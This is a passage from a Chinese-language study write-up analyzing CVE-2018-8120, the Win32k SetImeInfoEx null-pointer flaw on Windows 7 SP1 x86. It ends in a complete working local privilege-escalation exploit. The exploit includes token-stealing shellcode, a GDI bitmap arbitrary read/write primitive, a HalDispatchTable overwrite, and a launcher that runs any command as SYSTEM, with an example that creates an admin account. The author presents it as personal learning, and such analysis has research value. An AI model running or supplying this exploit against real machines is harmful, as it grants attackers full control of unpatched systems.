要在r3得到内核中得到haldispatchtable的位置,我们可以使用'ntquerysysteminformation'函数。此函数可帮助用户进程查询内核以获取有关os和硬件状态的信息。 这个函数没有导入库,我们必须使用'getmodulehandle'和'getprocaddress'在'ntdll.dll'的内存范围内动态加载'ntquerysysteminformation'函数。
代码如下:
#include <stdio.h> #include <windows.h> #define maximum_filename_length 255 typedef struct system_module { ulong reserved1; ulong reserved2; pvoid imagebaseaddress; ulong imagesize; ulong flags; word id; word rank; word w018; word nameoffset; byte name[maximum_filename_length]; }system_module, *psystem_module; typedef struct system_module_information { ulong modulescount; system_module modules[1]; } system_module_information, *psystem_module_information; typedef enum _system_information_class { systemmoduleinformation = 11, } system_information_class; typedef ntstatus(winapi *pntquerysysteminformation)( __in system_information_class systeminformationclass, __inout pvoid systeminformation, __in ulong systeminformationlength, __out_opt pulong returnlength ); int main() { ulong len = 0; psystem_module_information pmoduleinfo; hmodule ntdll = getmodulehandle("ntdll"); pntquerysysteminformation query = (pntquerysysteminformation)getprocaddress(ntdll, "ntquerysysteminformation"); //先获取函数返回 "模块信息" 数据得大小存在len中 query(systemmoduleinformation, null, 0, &len); //分配len长度的缓冲区 pmoduleinfo = (psystem_module_information)globalalloc(gmem_zeroinit, len); //这下才真正来获取"模块信息"存到 刚刚申请的缓存中 query(systemmoduleinformation, pmoduleinfo, len, &len); //"模块信息"的第一项必为nt内核文件,获取它在内核中的基址 pvoid kernelimagebase = pmoduleinfo->modules[0].imagebaseaddress; //获取nt内核文件名 pchar kernelimage = (pchar)pmoduleinfo->modules[0].name; kernelimage = strrchr(kernelimage, '\\') + 1; wprintf(l"[+] kernel image name %s\n", kernelimage); wprintf(l"[+] kernel image base %p\n", kernelimagebase); //获取nt内核文件在用户空间下中基址 hmodule kernelhandle = loadlibrarya(kernelimage); wprintf(l"[+] kernel handle %p\n", kernelhandle); //获取"haldispatchtable"在用户空间中的地址 pvoid haluserland = (pvoid)getprocaddress(kernelhandle, "haldispatchtable"); wprintf(l"[+] haldispatchtable userland %p\n", haluserland); pvoid haldispatchtable = (pvoid)((ulong)haluserland - (ulong)kernelhandle + (ulong)kernelimagebase); wprintf(l"[~] haldispatchtable kernel %p\n", haldispatchtable); system("pause"); return 0; }
-
为啥要获取nt内核文件的名字呢?
答:因为nt内核文件的名字会因为单处理器和多处理器以及不同位数的操作系统版本以及是否支持pae(physical address extension)而不同。所以需要编程获取。
-
为啥会是haldispatchtable = haluserland - kernelhandle + kernelimagebase?
答:haldispatchtable在内核中真正的地址需要使用加载模块的基地址+haldispatchtable在该模块中的偏移来获取的。我们通过
ntquerysysteminformation
获取了nt模块的基址kernelimagebase。通过计算用户空间中haldispatchtable的地址-用户空间中nt模块的地址可以获得偏移。
6.4、构造两个bitmap对象
虽然我们已经得到了nt!haldispatchtable+0x4
的值,我们可以先把它指向内存的值先保存起来,然后再改它指向内存的值为我们那段shellcode的值,然后再在r3调用ntqueryintervalprofile
函数就可以使我们的shellcode运行在r0了(2.2.2节),成功实现提权,然后再把保存起来的那个值再改回去就行了。
但是,我们如何在r3来获取nt!haldispatchtable+0x4
所指向内存的值,又如何改nt!haldispatchtable+0x4
所指向内存的值呢?在 5节中我介绍了如何利用 bitmap gdi函数实现内核任意地址读/写 。假如我们可以修改pvscan0 的值(下面的6.5将会讲解如何修改),我们构造两个bitmap对象:gmanger和gworker。
具体步骤:
- 我们利用cve-2018-8120将manger.pscan的值设置为gworker.pscan的地址
- gmanger利用setbitmapbits将gworker.pscan的值改为haldisptchtable+4
- gworker利用getbitmapbits获取haldispatchtable+4所指内存的值获取得,假设为oriaddr。
- gworker利用setbitmapbits将haldispatchtable+4所指内存的值设置为shellcode的地址
- 调用
ntquerysysteminformation
执行shellcode - gworker利用setbitmapbits将haldispatchtable+4所指内存的值设置为oriaddr。进行还原。
下面介绍如何利用setimeinfoex(cve-2018-8120)来改gmanger的pvscan0 的值。
6.5、如何使setimeinfoex执行到qmemcpy
先贴出setimeinfoex的代码吧:
0 signed int __stdcall setimeinfoex(tagwindowstation* a1, tagimeinfoex *a2) 1 { 2 signed int result; // eax 3 tagkl *v3; // eax 4 tagimeinfoex *v4; // eax 5 6 result = a1; 7 if ( a1 ) 8 { 9 v3 = a1->spklist; 10 while ( v3->hkl != a2->hkl ) 11 { 12 v3 = v3->pklnext; 13 if ( v3 == a1->spklist ) 14 return 0; 15 } 16 v4 = v3->piiex; 17 if ( !v4 ) 18 return 0; 19 if ( !v4->floadflag) 20 qmemcpy(v4, a2, 0x15cu); //sizeof(tagimeinfoex)=0x15c 21 result = 1; 22 } 23 return result; 24}
现在我们有的条件是,a1->spklist为0,而我们已经在0处申请了r3可读可写的内存,v3和v4都是 我们可以控制的,而a2是ntusersetimeinfoex(tagimeinfoex imeinfo)
,嘿嘿又是我们可以控制的。
那么首先我们要跳过while循环,那就让v3->hkl 等于 a2->hkl,然后需要指定v3->piiex等于gmanger.pvscan0 的地址,也就是指定qmemcpy目的地址。
然后让a2指向内存的头4个字节的值为gworker.pvscan0的地址。那么执行qmemcpy之后,就可以把gmanger.pvscan0的值改为gworker.pvscan0的地址了。
还要注意的是,qmemcpy拷贝了0x15c个字节,势必会影响gmanger.pvscan0 之后的内存,后面调用gdi32 的 getbitmapbits/setbitmapbits 这两个函数就会不成功,有几个值是我们必须要在传给ntusersetimeinfoex的参数中要构造的imeinfo中填上的,这几个值我抄的网上的文章的。
下面给出构造代码:
pvoid mpv = getpvscan0(gmanger);//获得gmanger.pvscan0的地址 pvoid wpv = getpvscan0(gworker);//获得gworker.pvscan0的地址 p_tagkl pkl = null; pkl->hkl = (hkl__ *)wpv; pkl->piiex = (tagimeinfoex *)((char*)mpv - sizeof(pvoid));//这里-4,也就是说,下面的p[1]也要为wpv char ime[0x200]; rtlsecurezeromemory(&ime, 0x200); pvoid *p = (pvoid*)&ime; p[0] = (pvoid)wpv; p[1] = (pvoid)wpv; dword *pp = (dword*)&p[2]; pp[0] = 0x180; pp[1] = 0xabcd; pp[2] = 6; pp[3] = 0x10000; pp[5] = 0x4800200; ntusersetimeinfoex((pvoid)&ime);//触发漏洞
6.6、 完整利用代码:
//windows 7 sp1 x86 no patch #include<windows.h> #include<stdio.h> #define maximum_filename_length 255 typedef struct system_module { ulong reserved1; ulong reserved2; pvoid imagebaseaddress; ulong imagesize; ulong flags; word id; word rank; word w018; word nameoffset; byte name[maximum_filename_length]; }system_module, *psystem_module; typedef struct system_module_information { ulong modulescount; system_module modules[1]; } system_module_information, *psystem_module_information; typedef enum _system_information_class { systemmoduleinformation = 11, } system_information_class; typedef ntstatus(winapi *pntquerysysteminformation)( __in system_information_class systeminformationclass, __inout pvoid systeminformation, __in ulong systeminformationlength, __out_opt pulong returnlength ); struct tagimeinfo32 { unsigned int dwprivatedatasize; unsigned int fdwproperty; unsigned int fdwconversioncaps; unsigned int fdwsentencecaps; unsigned int fdwuicaps; unsigned int fdwscscaps; unsigned int fdwselectcaps; }; typedef struct tagimeinfoex { hkl__ *hkl; tagimeinfo32 imeinfo; wchar_t wszuiclass[16]; unsigned int fdwinitconvmode; int finitopen; int floadflag; unsigned int dwprodversion; unsigned int dwimewinversion; wchar_t wszimedescription[50]; wchar_t wszimefile[80]; __int32 fsyswow64only : 1; __int32 fcuaslayer : 1; }imeinfoex, *pimeinfoex; struct gdicell { pvoid pkerneladdress; ushort wprocessid; ushort wcount; ushort wupper; ushort wtype; lpvoid puseraddress; }; //sizeof=0x10 struct _head { void *h; unsigned int clockobj; }; struct tagkbdfile { _head head; tagkbdfile *pkfnext; void *hbase; void *pkbdtbl; unsigned int size; void *pkbdnlstbl; wchar_t awchdllname[32]; }; typedef struct _tagkl { _head head; _tagkl *pklnext; _tagkl *pklprev; unsigned int dwkl_flags; hkl__ *hkl; tagkbdfile *spkf; tagkbdfile *spkfprimary; unsigned int dwfontsigs; unsigned int ibasecharset; unsigned __int16 codepage; wchar_t wchdiacritic; tagimeinfoex *piiex; unsigned int unumtbl; tagkbdfile **pspkfextra; unsigned int dwlastkbdtype; unsigned int dwlastkbdsubtype; unsigned int dwklid; }tagkl, *p_tagkl; typedef bool(winapi *lpfn_glpi)( psystem_logical_processor_information, pdword); typedef ntstatus(winapi *ntqueryintervalprofile_t)(in ulong profilesource, out pulong interval); ntqueryintervalprofile_t ntqueryintervalprofile; typedef ntsysapi ntstatus (ntapi *_ntallocatevirtualmemory)( in handle processhandle, in out pvoid *baseaddress, in ulong zerobits, in out pulong regionsize, in ulong allocationtype, in ulong protect); __declspec(naked) void ntusersetimeinfoex(pvoid imeinfo) { _asm { mov esi, imeinfo; mov eax, 0x1226; mov edx, 0x7ffe0300; call dword ptr[edx]; ret 4; } } pvoid gethaldispatchtableaddress() { ulong len = 0; psystem_module_information pmoduleinfo; hmodule ntdll = getmodulehandle(l"ntdll"); pntquerysysteminformation query = (pntquerysysteminformation)getprocaddress(ntdll, "ntquerysysteminformation"); if (query == null) { printf("[!] getmodulehandle failed\n"); return 0; } query(systemmoduleinformation, null, 0, &len); pmoduleinfo = (psystem_module_information)globalalloc(gmem_zeroinit, len); if (pmoduleinfo == null) { printf("[!] failed to allocate memory\n"); return 0; } query(systemmoduleinformation, pmoduleinfo, len, &len); if (!len) { printf("[!] failed to retrieve system module information\n"); return 0; } pvoid kernelimagebase = pmoduleinfo->modules[0].imagebaseaddress; pchar kernelimage = (pchar)pmoduleinfo->modules[0].name; kernelimage = strrchr(kernelimage, '\\') + 1; hmodule kernelhandle = loadlibrarya(kernelimage); pvoid haluserland = (pvoid)getprocaddress(kernelhandle, "haldispatchtable"); pvoid haldispatchtable = (pvoid)((ulong)haluserland - (ulong)kernelhandle + (ulong)kernelimagebase); return haldispatchtable; } ulong getpeb() { return __readfsdword(0x30); } ulong getgdi() { return *(ulong *)(getpeb() + 0x94); } pvoid getpvscan0(handle h) { ulong p = getgdi() + loword(h) * sizeof(gdicell); //get bimap kernel object address gdicell *c = (gdicell*)p; return (char*)c->pkerneladdress + 0x10 + 0x20; } __declspec(noinline) int shellcode() { __asm { pushad;// save registers state mov edx, 0x124; mov eax, fs:[edx];// get nt!_kpcr.pcrbdata.currentthread mov edx, 0x50; mov eax, [eax + edx];// get nt!_kthread.apcstate.process mov ecx, eax;// copy current _eprocess structure mov esi, 0xf8; mov edx, 4;// win 7 sp1 system process pid = 0x4 mov edi, 0xb8; mov ebx, 0xb4; searchsystempid: mov eax, [eax + edi];// get nt!_eprocess.activeprocesslinks.flink sub eax, edi; cmp[eax + ebx], edx;// get nt!_eprocess.uniqueprocessid jne searchsystempid; mov edx, [eax + esi];// get system process nt!_eprocess.token mov[ecx + esi], edx;// copy nt!_eprocess.token of system to current process popad;// restore registers state xor eax, eax;// set ntstatus succeess } } int main() { int argc = 0; wchar_t **argv = commandlinetoargvw(getcommandlinew(), &argc); if (argc != 2) { puts("usage: exp.exe command\nexample: exp.exe \"net user admin admin /ad\""); goto end; } pvoid overwrite_address = gethaldispatchtableaddress(); // haldispatchtable if (!overwrite_address) { goto end; } int overwrite_offset = 0x4; // queryintervalprofile hmodule hntdll = getmodulehandle(l"ntdll"); _ntallocatevirtualmemory ntallocatevirtualmemory = (_ntallocatevirtualmemory)getprocaddress(hntdll, "ntallocatevirtualmemory"); if (!ntallocatevirtualmemory) { printf("[-] fail to resolve ntallocatevirtualmemory(0x%x)\n", getlasterror()); goto end; } pvoid addr = (pvoid)0x100; dword size = 0x1000; if (ntallocatevirtualmemory(getcurrentprocess(), &addr, 0, &size, mem_reserve | mem_commit, page_readwrite)) { puts("[-] fail to alloc null page!"); goto end; } hwinsta hsta = createwindowstation(0, 0, read_control, 0); if (!hsta) { printf("[-] createwindowstationw fail(0x%x)\n", getlasterror()); goto end; } if (!setprocesswindowstation(hsta)) { printf("[-] setprocesswindowstation fail(0x%x)\n", getlasterror()); goto end; } unsigned int bbuf[0x60] = { 0x90 }; handle gmanger = createbitmap(0x60, 1, 1, 32, bbuf); handle gworker = createbitmap(0x60, 1, 1, 32, bbuf); pvoid mpv = getpvscan0(gmanger); pvoid wpv = getpvscan0(gworker); printf("[+] get manager at %lx,worker at %lx\n", mpv, wpv); p_tagkl pkl = null; pkl->hkl = (hkl__ *)wpv; pkl->piiex = (tagimeinfoex *)((char*)mpv - sizeof(pvoid)); char ime[0x200]; rtlsecurezeromemory(&ime, 0x200); pvoid *p = (pvoid*)&ime; p[0] = (pvoid)wpv; p[1] = (pvoid)wpv; dword *pp = (dword*)&p[2]; pp[0] = 0x180; pp[1] = 0xabcd; pp[2] = 6; pp[3] = 0x10000; pp[5] = 0x4800200; puts("[+] triggering vulnerability..."); ntusersetimeinfoex((pvoid)&ime); pvoid sc = &shellcode; pvoid oaddr = ((char*)overwrite_address + overwrite_offset); pvoid porg = 0; printf("[+] overwriting...%lx\n", oaddr); setbitmapbits((hbitmap)gmanger, sizeof(pvoid), &oaddr); getbitmapbits((hbitmap)gworker, sizeof(pvoid), &porg); setbitmapbits((hbitmap)gworker, sizeof(pvoid), &sc); ntqueryintervalprofile = (ntqueryintervalprofile_t)getprocaddress(hntdll, "ntqueryintervalprofile"); if (!ntqueryintervalprofile) { printf("[-] fail to resolve ntqueryintervalprofile(0x%x)\n", getlasterror()); goto end; } ulong interval = 0; puts("[+] elevating privilege..."); ntqueryintervalprofile(0x1337, &interval); puts("[+] cleaning up..."); setbitmapbits((hbitmap)gworker, sizeof(pvoid), &porg); security_attributes sa; handle hread, hwrite; byte buf[40960] = { 0 }; startupinfow si; process_information pi; dword bytesread; rtlsecurezeromemory(&si, sizeof(si)); rtlsecurezeromemory(&pi, sizeof(pi)); rtlsecurezeromemory(&sa, sizeof(sa)); int br = 0; sa.nlength = sizeof(security_attributes); sa.lpsecuritydescriptor = null; sa.binherithandle = true; if (!createpipe(&hread, &hwrite, &sa, 0)) { fflush(stdout); fflush(stderr); exitprocess(5); } si.cb = sizeof(startupinfo); getstartupinfow(&si); si.hstderror = hwrite; si.hstdoutput = hwrite; si.wshowwindow = sw_hide; si.lpdesktop = l"winsta0\\default"; si.dwflags = startf_useshowwindow | startf_usestdhandles; wchar_t cmd[4096] = { 0 }; lstrcpyw(cmd, argv[1]); if (!createprocessw(null, cmd, null, null, true, 0, null, null, &si, &pi)) { fflush(stdout); fflush(stderr); closehandle(hwrite); closehandle(hread); wprintf(l"[-] createprocessw failed![%p]\n", getlasterror()); exitprocess(6); } closehandle(hwrite); printf("[+] process created with pid %d!\n", pi.dwprocessid); while (1) { if (!readfile(hread, buf + br, 4000, &bytesread, null)) break; br += bytesread; } puts((char*)buf); closehandle(hread); closehandle(pi.hprocess); end: fflush(stdout); fflush(stderr); fflush(stdout); exitprocess(0); return 0; }
附上运行截图:
至此,整个分析完毕,这是我第一次分析cve,因为是才接触,所以肯定有很多不懂,于是我就把这些不懂详细的写了出来。感觉自己收获挺多的。整个分析包括提权利用代码都是看的网上前辈门的分析文章,这篇文章只是我学习过程中分析的。
7、参考文献
[1]: https://github.com/unamer/cve-2018-8120/blob/master/cve-2018-8120/source.cpp "cve利用代码" [2]: http://www.freebuf.com/column/173797.html "cve-2018-8120分析(很详细)" [3]: http://www.freebuf.com/column/174182.html "cve-2018-8120分析(详细)" [4]: http://blog.nsfocus.net/null-pointer-vulnerability-defense/ "空指针利用详解" [5]: https://xiaodaozhi.com/exploit/42.html "内含bitmap泄露详细分析" [6]: https://blog.csdn.net/baggiowangyu/article/details/41802229 "使用windbg查看ssdt,ssdtshadow" [7]: https://osandamalith.com/2017/06/14/windows-kernel-exploitation-arbitrary-overwrite/ "内含寻找haldispatchtable的方法" [8]: http://www.cnblogs.com/findumars/p/5812173.html "ntquerysysteminformation的使用" [9]: https://blog.csdn.net/whatday/article/details/16118703 "ring0下的 fs:[124]" [10]: https://www.cnblogs.com/kuangke/p/5761586.html "shadow ssdt详解" [11]: 神书《软件调试》-张银奎 [12]: 《windows核心编程第五版》